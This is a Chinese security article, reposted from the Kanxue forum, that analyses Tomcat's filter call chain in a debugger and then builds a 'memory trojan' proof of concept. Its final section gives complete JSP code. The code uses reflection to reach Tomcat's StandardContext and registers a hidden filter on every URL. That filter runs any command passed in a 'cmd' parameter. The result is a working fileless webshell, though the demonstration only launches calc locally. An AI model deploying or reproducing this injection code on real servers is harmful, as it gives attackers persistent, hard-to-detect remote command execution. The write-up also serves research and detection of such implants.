Java内存马 Filter调用链分析
2024-8-29 17:58:56 Author: mp.weixin.qq.com(查看原文) 阅读量:2 收藏


实验环境

1.jdk1.8
2.tomcat8.5.100

步骤

  1. 使用Intellij IDEA新建maven项目,选择maven-archetype-webapp。
2.修改pom。
<?xml version="1.0" encoding="UTF-8"?>

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>com.milon</groupId>
<artifactId>MemoryTrojan</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>war</packaging>

<name>MemoryTrojan Maven Webapp</name>

<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
</properties>

<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>jsp-api</artifactId>
<version>2.1</version>
<scope>provided</scope>
</dependency>

<!--引入tomcat是为了调试源码-->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.100</version>
<scope>provided</scope>
</dependency>

</dependencies>

<build>
<finalName>MemoryTrojan</finalName>
<pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
<plugins>
<plugin>
<artifactId>maven-clean-plugin</artifactId>
<version>3.1.0</version>
</plugin>
<!-- see http://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_war_packaging -->
<plugin>
<artifactId>maven-resources-plugin</artifactId>
<version>3.0.2</version>
</plugin>
<plugin>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.0</version>
</plugin>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<version>2.22.1</version>
</plugin>
<plugin>
<artifactId>maven-war-plugin</artifactId>
<version>3.2.2</version>
</plugin>
<plugin>
<artifactId>maven-install-plugin</artifactId>
<version>2.5.2</version>
</plugin>
<plugin>
<artifactId>maven-deploy-plugin</artifactId>
<version>2.8.2</version>
</plugin>
</plugins>
</pluginManagement>
</build>
</project>

3.新建一个servlet。
@WebServlet("/hello")
public class HelloServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
resp.getWriter().write("HelloServlet doGet...");
}
}
4.新建Listener。
@WebFilter(urlPatterns = "/hello")
public class HelloFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) {
System.out.println("HelloFilter init");
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
System.out.println("HelloFilter doFilter");
chain.doFilter(request, response);
}

@Override
public void destroy() {
System.out.println("HelloFilter destory");
}
}

5.配置tomcat启动。
完成上述步骤,即可以debug模式启动项目。


分析调用链

将断点打至doFilter方法。
观察调用堆栈,doFilter方式是由ApplicationFilterChain的internalDoFilter方法调用的:
按ctrl点filter变量跳转到它的定义:
可见其是由filterConfig得到的,filterConfig是从数组filters中获取的一个元素,于是可以得到一个结论:在filters数组中放置一个filterConfig对象即可调用到其对应的doFilter方法。

现在反推第一个问题:filters数组从哪里赋值?

按ctrl点filters,寻找其赋值操作:
倒数第三个动作是给数组元素赋值,点击进去,然后在这里下个断点,重启tomcat,在浏览器中访问http://localhost:8080/MemoryTrojan/hello触发HelloFilter的执行,断点停在这里,filters数组元素被赋值为一个filterConfig变量,而filterConfig是由addFilter方法的参数传入的:
点击上一层栈帧,跟踪filterConfig从何而来:
是由一个StandardContext对象调用findFilterConfig方法获取的,而这个方法传入了一个String类型的name,该name是由filterMap获得的。

可以看看filterMap都包含了哪些信息:
主要就两点信息,一是urlPatterns,咱们在代码注解中配置的"/hello",另外一个是filterName,默认取全类名。

接下来反推第二个问题:filterMap从何而来?

继续按ctrl点击filterMap跳转至定义:
可见filterMap是数组filterMaps的一个元素:



filterMaps是StandardContext类型对象调用findFilterMaps方法获取的。


findFilterMaps方法又使用了一个StandardContext对象的私有属性也叫filterMaps:


于是接下来,继续寻找这个filterMaps在哪里有赋值动作:
第一个动作就是,点进去下个断点,重启tomcat,代码停留在断点处:
这里可以得到第二个结论:tomcat调用了StandardContext对象的addFilterMap方法添加了filterMap。

分析完filterMap后,我们再回到此处,分析StandardContext对象的findFilterConfig方法:
点击进去发现用到了一个filterConfigs。



跳转到其定义发现是一个HashMap。
按ctrl寻找给该map put值的地方,在此下个断点,重启tomcat,代码停留在断点处:
这里new了一个ApplicationFilterConfig对象,而这个对象构造方法的第二个参数是一个FilterDef类型的对象,FilterDef主要包含的信息有:filterClass,也就是过滤器类,以及filterName。

至此可以得到第三个结论:构造一个ApplicationFilterConfig类型的对象filterConfig,并传入一个包含过滤器类型的filterDef,再将filterConfig放入HashMap类型的对象filterConfigs中,tomcat即可获取到该filterConfig。


POC编写

先梳理一下上面的分析过程:
1.构造一个FilterDef,并作为参数再构造一个filterConfig;
2.将filterConfig放入HashMap类型对象filterConfigs中;
3.构造一个filterMap,添加到StandardContext中。
依据这条路线来编写poc,在webapp目录下新建poc.jsp。

定义一个有RCE的Filter

<%!
public class ShellFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}

@Override
public void destroy() {

}
}
%>

注入该filter

<%
/* 通过反射获取到StandardContext对象 */
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

final String filterName = "shellFilter";

/* 定义filterDef */
FilterDef filterDef = new FilterDef();
filterDef.setFilter(new ShellFilter());
filterDef.setFilterName(filterName);
filterDef.setFilterClass(ShellFilter.class.getName());
standardContext.addFilterDef(filterDef);

/* 利用反射构造filterConfig,同时传入filterDef */
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

/* 通过反射获取filterConfigs,并放置filterConfig */
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put(filterName, filterConfig);

/* 定义filterMap,并添加到standardContext中 */
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMap(filterMap);
%>

接下来访问http://localhost:8080/MemoryTrojan/poc.jsp,此时filter已经被注入到tomcat中,
然后访问
http://localhost:8080/MemoryTrojan/?cmd=calc,即可执行系统命令弹出计算器:
Java安全学习——内存马
(https://goodapple.top/archives/1355)

看雪ID:米龙·0xFFFE

https://bbs.kanxue.com/user-home-997719.htm

*本文为看雪论坛优秀文章,由 米龙·0xFFFE 原创,转载请注明来自看雪社区

# 往期推荐

1、Alt-Tab Terminator注册算法逆向

2、恶意木马历险记

3、VMP源码分析:反调试与绕过方法

4、Chrome V8 issue 1486342浅析

5、Cython逆向-语言特性分析

球分享

球点赞

球在看

点击阅读原文查看更多


文章来源: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458570779&idx=2&sn=1679c2b9dc41c8bfe37a0504bb2956ca&chksm=b18de09186fa69872e42f296629f586c0ce10cbedf9a2aee653e3132792cb6e60304a8938817&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh